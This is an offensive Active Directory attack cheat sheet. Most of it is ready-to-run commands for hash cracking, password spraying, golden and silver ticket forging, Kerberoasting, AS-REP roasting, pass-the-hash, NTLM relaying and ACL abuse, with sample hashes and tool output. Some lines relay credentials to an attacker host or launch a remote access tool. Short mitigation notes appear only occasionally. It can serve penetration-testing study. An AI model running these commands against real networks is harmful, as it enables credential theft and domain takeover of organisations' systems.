#### Crack NTLM hashes with hashcat
|
||
|
||
Useful when you want to have the clear text password or when you need to make stats about weak passwords.
|
||
|
||
Recommended wordlists:
|
||
- rockyou (available in Kali Linux)
|
||
- Have I Been Powned (https://hashes.org/download.php?hashlistId=7290&type=hfound)
|
||
- Collection #1 (passwords from Data Breaches, might be illegal to possess)
|
||
|
||
```powershell
|
||
# Basic wordlist
|
||
# (-O) will Optimize for 32 characters or less passwords
|
||
# (-w 4) will set the workload to "Insane"
|
||
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r ./rules/best64.rule --opencl-device-types 1,2
|
||
|
||
# Generate a custom mask based on a wordlist
|
||
$ git clone https://github.com/iphelix/pack/blob/master/README
|
||
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
|
||
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask
|
||
```
|
||
|
||
:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :
|
||
- [hashes.org](https://hashes.org/check.php)
|
||
- [hashes.com](https://hashes.com/en/decrypt/hash)
|
||
|
||
### Password spraying
|
||
|
||
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
|
||
|
||
> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.
|
||
|
||
Most of the time the best passwords to spray are :
|
||
|
||
- P@ssw0rd01, Password123, mimikatz
|
||
- Welcome1/Welcome01
|
||
- $Companyname1 : $Microsoft1
|
||
- SeasonYear : Winter2019*,Spring2020!,Summer2018?
|
||
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
|
||
|
||
#### Kerberos pre-auth bruteforcing
|
||
|
||
Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
|
||
|
||
> Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).
|
||
|
||
```powershell
|
||
root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
|
||
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
|
||
root@kali:~$ python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||
```
|
||
|
||
#### Spray a pre-generated passwords list
|
||
|
||
Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.
|
||
|
||
```powershell
|
||
crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
|
||
```
|
||
|
||
#### Spray passwords against the RDP service
|
||
|
||
Using RDPassSpray to target RDP services.
|
||
|
||
```powershell
|
||
git clone https://github.com/xFreed0m/RDPassSpray
|
||
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
|
||
```
|
||
|
||
Using hydra and ncrack to target RDP services.
|
||
|
||
```powershell
|
||
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
|
||
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
|
||
```
|
||
|
||
### Password in AD User comment
|
||
|
||
```powershell
|
||
enum4linux | grep -i desc
|
||
There are 3-4 fields that seem to be common in most AD schemas:
|
||
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
|
||
|
||
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
|
||
```
|
||
or dump the Active Directory and `grep` the content.
|
||
|
||
```powershell
|
||
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
|
||
```
|
||
|
||
### Pass-the-Ticket Golden Tickets
|
||
|
||
Forging a TGT require the krbtgt NTLM hash
|
||
|
||
> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.
|
||
|
||
#### Using Mimikatz
|
||
|
||
```powershell
|
||
# Get info - Mimikatz
|
||
lsadump::dcsync /user:krbtgt
|
||
lsadump::lsa /inject /name:krbtgt
|
||
|
||
# Forge a Golden ticket - Mimikatz
|
||
kerberos::purge
|
||
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
|
||
kerberos::tgt
|
||
```
|
||
|
||
#### Using Meterpreter
|
||
|
||
```powershell
|
||
# Get info - Meterpreter(kiwi)
|
||
dcsync_ntlm krbtgt
|
||
dcsync krbtgt
|
||
|
||
# Forge a Golden ticket - Meterpreter
|
||
load kiwi
|
||
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
|
||
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
|
||
kerberos_ticket_purge
|
||
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
|
||
kerberos_ticket_list
|
||
```
|
||
|
||
#### Using a ticket on Linux
|
||
|
||
```powershell
|
||
# Convert the ticket kirbi to ccache with kekeo
|
||
misc::convert ccache ticket.kirbi
|
||
|
||
# Alternatively you can use ticketer from Impacket
|
||
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
|
||
|
||
ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
|
||
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
|
||
|
||
export KRB5CCNAME=/home/user/ticket.ccache
|
||
cat $KRB5CCNAME
|
||
|
||
# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
|
||
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
|
||
```
|
||
|
||
If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`.
|
||
|
||
```powershell
|
||
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
|
||
Converting ccache => kirbi
|
||
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
|
||
Converting kirbi => ccache
|
||
```
|
||
|
||
|
||
Mitigations:
|
||
* Hard to detect because they are legit TGT tickets
|
||
* Mimikatz generate a golden ticket with a life-span of 10 years
|
||
|
||
### Pass-the-Ticket Silver Tickets
|
||
|
||
Forging a TGS require machine accound password (key) or NTLM hash of the service account.
|
||
|
||
```powershell
|
||
# Create a ticket for the service
|
||
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
|
||
|
||
# Examples
|
||
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
|
||
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
|
||
|
||
# Then use the same steps as a Golden ticket
|
||
mimikatz $ misc::convert ccache ticket.kirbi
|
||
|
||
root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
|
||
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
|
||
```
|
||
|
||
Interesting services to target with a silver ticket :
|
||
|
||
| Service Type | Service Silver Tickets | Attack |
|
||
|---------------------------------------------|------------------------|--------|
|
||
| WMI | HOST + RPCSS | `wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"` |
|
||
| PowerShell Remoting | HTTP + wsman | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
|
||
| WinRM | HTTP + wsman | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
|
||
| Scheduled Tasks | HOST | `schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"` |
|
||
| Windows File Share (CIFS) | CIFS | `dir \\dc01\c$` |
|
||
| LDAP operations including Mimikatz DCSync | LDAP | `lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt` |
|
||
| Windows Remote Server Administration Tools | RPCSS + LDAP + CIFS | / |
|
||
|
||
|
||
Mitigations:
|
||
* Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.
|
||
|
||
### Kerberoasting
|
||
|
||
> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)
|
||
|
||
Any valid domain user can request a kerberos ticket (TGS) for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
|
||
|
||
```powershell
|
||
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
|
||
|
||
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
|
||
|
||
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
|
||
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
|
||
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11
|
||
|
||
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2
|
||
```
|
||
|
||
Alternatively with [Rubeus](https://github.com/GhostPack/Rubeus)
|
||
|
||
```powershell
|
||
.\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
|
||
```
|
||
|
||
Alternatively on macOS machine you can use [bifrost](https://github.com/its-a-feature/bifrost)
|
||
|
||
```powershell
|
||
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
|
||
```
|
||
|
||
Then crack the ticket with hashcat or john
|
||
|
||
```powershell
|
||
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
|
||
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
|
||
```
|
||
|
||
Mitigations:
|
||
* Have a very long password for your accounts with SPNs (> 32 characters)
|
||
* Make sure no users have SPNs
|
||
|
||
### KRB_AS_REP Roasting
|
||
|
||
If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
|
||
|
||
Prerequisite:
|
||
- Accounts have to have **DONT_REQ_PREAUTH**
|
||
|
||
```powershell
|
||
C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
|
||
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
|
||
|
||
______ _
|
||
(_____ \ | |
|
||
_____) )_ _| |__ _____ _ _ ___
|
||
| __ /| | | | _ \| ___ | | | |/___)
|
||
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||
|_| |_|____/|____/|_____)____/(___/
|
||
|
||
v1.3.4
|
||
|
||
|
||
[*] Action: AS-REP roasting
|
||
|
||
[*] Target User : TestOU3user
|
||
[*] Target Domain : testlab.local
|
||
|
||
[*] SamAccountName : TestOU3user
|
||
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
|
||
[*] Using domain controller: testlab.local (192.168.52.100)
|
||
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
|
||
[*] Connecting to 192.168.52.100:88
|
||
[*] Sent 169 bytes
|
||
[*] Received 1437 bytes
|
||
[+] AS-REQ w/o preauth successful!
|
||
[*] AS-REP hash:
|
||
|
||
$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
|
||
|
||
C:\Rubeus> john --wordlist=passwords_kerb.txt hashes.asreproast
|
||
```
|
||
|
||
Using `impacket` to get the hash and `hashcat` to crack it.
|
||
|
||
```powershell
|
||
# example
|
||
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
|
||
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
|
||
|
||
[*] Getting TGT for svc-alfresco
|
||
$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7ae561334cd58a56af90f7fbb20bbd4493b6754a57d5ebc08cb7f47ea472ebb7c9ba4260f57c11b664be03191550254e5c77a17518aeabc55f9321bd9f52201df820e130aa0e3f4b0986725fd3a14794433881050eb62d384c4058a407a348a7de2ef0767a99c9df4f85d8eba8ce30a4ad59621c51f8ea8c0d33f33e06bea1d8ff28d7a86fc2010fd7fa45d2fcc2178cb13c1006823aec8a5da10cffcceeb6e978754b0d4976df5cccb4beb9776d5a8f4810153ccc0e1237ec74e6ae61402457c6cfe29bca7c2f62b287f13aff063f5a0a21c728581e43b46d7537b3e776b4
|
||
|
||
# extract hashes
|
||
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
|
||
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
|
||
|
||
# crack AS_REP messages
|
||
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
|
||
```
|
||
|
||
Mitigations:
|
||
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
|
||
|
||
### Pass-the-Hash
|
||
|
||
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.
|
||
|
||
```powershell
|
||
use exploit/windows/smb/psexec
|
||
set RHOST 10.2.0.3
|
||
set SMBUser jarrieta
|
||
set SMBPass nastyCutt3r
|
||
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
|
||
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
|
||
set PAYLOAD windows/meterpreter/bind_tcp
|
||
run
|
||
shell
|
||
```
|
||
|
||
or with crackmapexec
|
||
|
||
```powershell
|
||
cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
|
||
also works with net range : cme smb 10.2.0.2/24 ...
|
||
```
|
||
|
||
or with psexec
|
||
|
||
```powershell
|
||
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
|
||
```
|
||
|
||
or with the builtin Windows RDP and mimikatz
|
||
```powershell
|
||
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
|
||
```
|
||
|
||
You can extract the local **SAM database** to find the local administrator hash :
|
||
|
||
```powershell
|
||
C:\> reg.exe save hklm\sam c:\temp\sam.save
|
||
C:\> reg.exe save hklm\security c:\temp\security.save
|
||
C:\> reg.exe save hklm\system c:\temp\system.save
|
||
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
|
||
```
|
||
|
||
|
||
### OverPass-the-Hash (pass the key)
|
||
|
||
Request a TGT with only the NT hash then you can connect to the machine using the TGT.
|
||
|
||
#### Using impacket
|
||
|
||
```powershell
|
||
root@kali:impacket-examples$ python ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
|
||
root@kali:impacket-examples$ export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
|
||
root@kali:impacket-examples$ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
|
||
|
||
also with the AES Key if you have it
|
||
root@kali:impacket-examples$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com
|
||
|
||
ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
|
||
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
|
||
klist
|
||
```
|
||
|
||
#### Using Rubeus
|
||
|
||
```powershell
|
||
C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
|
||
C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
|
||
```
|
||
|
||
### Capturing and cracking NTLMv2 hashes
|
||
|
||
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.
|
||
|
||
```python
|
||
python Responder.py -I eth0
|
||
```
|
||
|
||
Then crack the hash with `hashcat`
|
||
|
||
```powershell
|
||
hashcat -m 5600 -a 0 hash.txt crackstation.txt
|
||
```
|
||
|
||
### NTLMv2 hashes relaying
|
||
|
||
NTLMv1 and NTLMv2 can be relayed to connect to another machine.
|
||
|
||
| Hash | Hashcat | Attack method |
|
||
|---|---|---|
|
||
| LM | 3000 | crack/pass the hash |
|
||
| NTLM/NTHash | 1000 | crack/pass the hash |
|
||
| NTLMv1/Net-NTLMv1 | 5500 | crack/relay attack |
|
||
| NTLMv2/Net-NTLMv2 | 5600 | crack/relay attack |
|
||
|
||
#### MS08-068 NTLM reflection
|
||
|
||
NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.
|
||
|
||
> This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.
|
||
|
||
* https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068
|
||
|
||
```powershell
|
||
msf > use exploit/windows/smb/smb_relay
|
||
msf exploit(smb_relay) > show targets
|
||
```
|
||
|
||
#### SMB Signing Disabled and IPv4
|
||
|
||
If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine.
|
||
|
||
1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.
|
||
```powershell
|
||
[Responder Core]
|
||
; Servers to start
|
||
...
|
||
SMB = Off # Turn this off
|
||
HTTP = Off # Turn this off
|
||
```
|
||
2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
|
||
3. Run `python Responder.py -I <interface_card>` and `python MultiRelay.py -t <target_machine_IP> -u ALL`
|
||
4. Also you can use `ntlmrelayx` to dump the SAM database of the targets in the list.
|
||
```powershell
|
||
ntlmrelayx.py -tf targets.txt
|
||
```
|
||
5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
|
||
```powershell
|
||
$ ntlmrelayx.py -tf /tmp/targets.txt -socks -smb2support
|
||
[*] Servers started, waiting for connections
|
||
Type help for list of commands
|
||
ntlmrelayx> socks
|
||
Protocol Target Username Port
|
||
-------- -------------- ------------------------ ----
|
||
MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433
|
||
SMB 192.168.48.230 CONTOSO/NORMALUSER1 445
|
||
MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433
|
||
|
||
$ proxychains smbclient //192.168.48.230/Users -U contoso/normaluser1
|
||
$ proxychains mssqlclient.py contoso/normaluser1@192.168.48.230 -windows-auth
|
||
```
|
||
|
||
Mitigations:
|
||
|
||
* Disable LLMNR via group policy
|
||
```powershell
|
||
Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled
|
||
```
|
||
* Disable NBT-NS
|
||
```powershell
|
||
This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP
|
||
```
|
||
|
||
#### SMB Signing Disabled and IPv6
|
||
|
||
Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
|
||
|
||
```powershell
|
||
cme smb $hosts --gen-relay-list relay.txt
|
||
|
||
# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
|
||
mitm6 -i eth0 -d $domain
|
||
|
||
# spoofing WPAD and relaying NTLM credentials
|
||
ntlmrelayx.py -6 -wh $attacker_ip -of loot -tf relay.txt
|
||
or
|
||
ntlmrelayx.py -6 -wh $attacker_ip -l /tmp -socks -debug
|
||
```
|
||
|
||
#### Drop the MIC
|
||
|
||
> The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP
|
||
|
||
Check vulnerability with [cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner)
|
||
|
||
```powershell
|
||
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
|
||
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
|
||
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
|
||
```
|
||
|
||
- Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD
|
||
```powershell
|
||
TERM1> python printerbug.py testsegment.local/testuser@s2012exc.testsegment.local <attacker ip/hostname>
|
||
TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
|
||
TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
|
||
```
|
||
|
||
|
||
- Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.
|
||
```powershell
|
||
# create a new machine account
|
||
TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support
|
||
TERM2> python printerbug.py relaytest.local/testuser@second-dc-server 10.0.2.6
|
||
TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME
|
||
|
||
# connect using the ticket
|
||
export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
|
||
secretsdump.py -k -no-pass second-dc-server.local -just-dc
|
||
```
|
||
|
||
#### Ghost Potato - CVE-2019-1384
|
||
|
||
Prerequisites:
|
||
* User must be a member of the local Administrators group
|
||
* User must be a member of the Backup Operators group
|
||
* Token must be elevated
|
||
|
||
Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip
|
||
|
||
```powershell
|
||
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
|
||
```
|
||
|
||
### Dangerous Built-in Groups Usage
|
||
|
||
If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object "CN=AdminSDHolder,CN=System," or set "adminCount" attribute to 0 for the required object.
|
||
|
||
> The AdminCount attribute is set to 1 automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).
|
||
|
||
|
||
Find users with `AdminCount=1`.
|
||
|
||
```powershell
|
||
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
|
||
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
|
||
```
|
||
|
||
AdminSDHolder
|
||
|
||
```powershell
|
||
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
|
||
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
|
||
or
|
||
([adsisearcher]"(AdminCount=1)").findall()
|
||
```
|
||
|
||
#### AdminSDHolder Abuse
|
||
|
||
If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by SDProp.
|
||
|
||
```powershell
|
||
# right to reset password for toto using the account titi
|
||
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword
|
||
# give all rights
|
||
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All
|
||
```
|
||
|
||
|
||
### Abusing Active Directory ACLs/ACEs
|
||
|
||
Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).
|
||
|
||
```powershell
|
||
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
|
||
```
|
||
|
||
#### GenericAll
|
||
|
||
* **GenericAll on User** : We can reset user's password without knowing the current password
|
||
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group : `net group "domain admins" spotless /add /domain`
|
||
|
||
GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its hash and kerberoast it.
|
||
|
||
```powershell
|
||
# using PowerView
|
||
# Check for interesting permissions on accounts:
|
||
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
|
||
|
||
# Check if current user has already an SPN setted:
|
||
Get-DomainUser -Identity <UserName> | select serviceprincipalname
|
||
|
||
# Force set the SPN on the account:
|
||
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
|
||
```
|
||
|
||
#### GenericWrite
|
||
|
||
* Reset another user's password
|
||
|
||
```powershell
|
||
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
|
||
$user = 'DOMAIN\user1';
|
||
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
|
||
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
|
||
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
|
||
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
|
||
```
|
||
|
||
* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`
|
||
|
||
##### GenericWrite and Remote Connection Manager
|
||
|
||
> Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
|
||
>
|
||
